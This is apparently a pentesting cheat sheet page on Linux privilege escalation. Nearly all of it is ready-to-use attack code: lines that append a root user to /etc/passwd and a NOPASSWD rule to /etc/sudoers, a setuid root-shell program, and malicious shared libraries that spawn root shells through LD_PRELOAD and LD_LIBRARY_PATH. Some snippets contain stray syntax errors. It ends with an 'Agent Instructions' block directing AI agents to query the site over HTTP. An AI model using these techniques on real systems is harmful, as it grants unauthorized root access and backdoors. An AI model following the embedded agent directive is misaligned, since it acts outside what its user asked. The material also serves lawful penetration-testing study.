# linux-privilege-escalation

## Password hijacking

```bash
# for /etc/passwd
openssl passwd <PASSWORD>
# kashz:kashz
echo 'kashz:cAZZtf3ncxRAY:0:0:root:/root:/bin/bash' >> /etc/passwd

# for /etc/shadow
python3 -c 'import crypt, getpass; print(crypt.crypt(getpass.getpass()))'

# for /etc/sudoers; sudo su
echo 'USER ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers
```

## setuid.c

```c
// cat setuid.c
#include <unistd.h>

int main()
{
	setuid(0);
	setgid(0);
	execl("/bin/bash", "bash", (char *)NULL);
	return 0;
}

// find . -exec './setuid' \;
```

## .so shell

```c
// gcc -shared -fPIC -o kashz.so kashz.c
//[OR]
// gcc -c -fPIC -o test.o test.c
// gcc -shared -o test_this.so test.o

# file: kashz.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
void hijack() __attribute__((constructor));
{
	setuid(0);
	setgid(0);
	system("/bin/sh");
	# [OR] execl("/bin/bash", "bash", (char *)NULL);
}
```

## LD\_PRELOAD

```c
// sudo -l => env_keep+=LD_PRELOAD
// ldd <suid file>: prints shared libraries used by <SUID>

# nano preload.c
# include <stdio.h>
# include <sys/types.h>
# include <stdlib.h>

void _init() {
	unsetenv("LD_PRELOAD");
	setresuid(0,0,0);pz
	system("/bin/bash -p");
}
// compile
// gcc -fPIC -shared -nostartfiles -o /tmp/preload.so preload.c
// run any SUID
// sudo LD_PRELOAD=/tmp/preload.so <SUID>
```

## LD\_LIBRARY\_PATH

```c
// sudo -l => env_keep=LD_LIBRARY_PATH

# nano lib_path.c
# include <stdio.h>
# include <stdlib.h>
# include <sys/types.h>

static void hijack() __attribute__((constructor));
void hijack() {
	unsetenv("LD_LIBRARY_PATH");
	setresuid(0,0,0);
	system("/bin/bash -p");
}

// compile
// gcc -o <outFile> -shared -fPIC lib_path.c
// <outFile>: name of one of the shared files used by SUID (get using ldd command)
// run
// sudo LD_LIBRARY_PATH=. <SUID>
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://kashz.gitbook.io/kashz-jewels/os-linux/linux-privilege-escalation.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
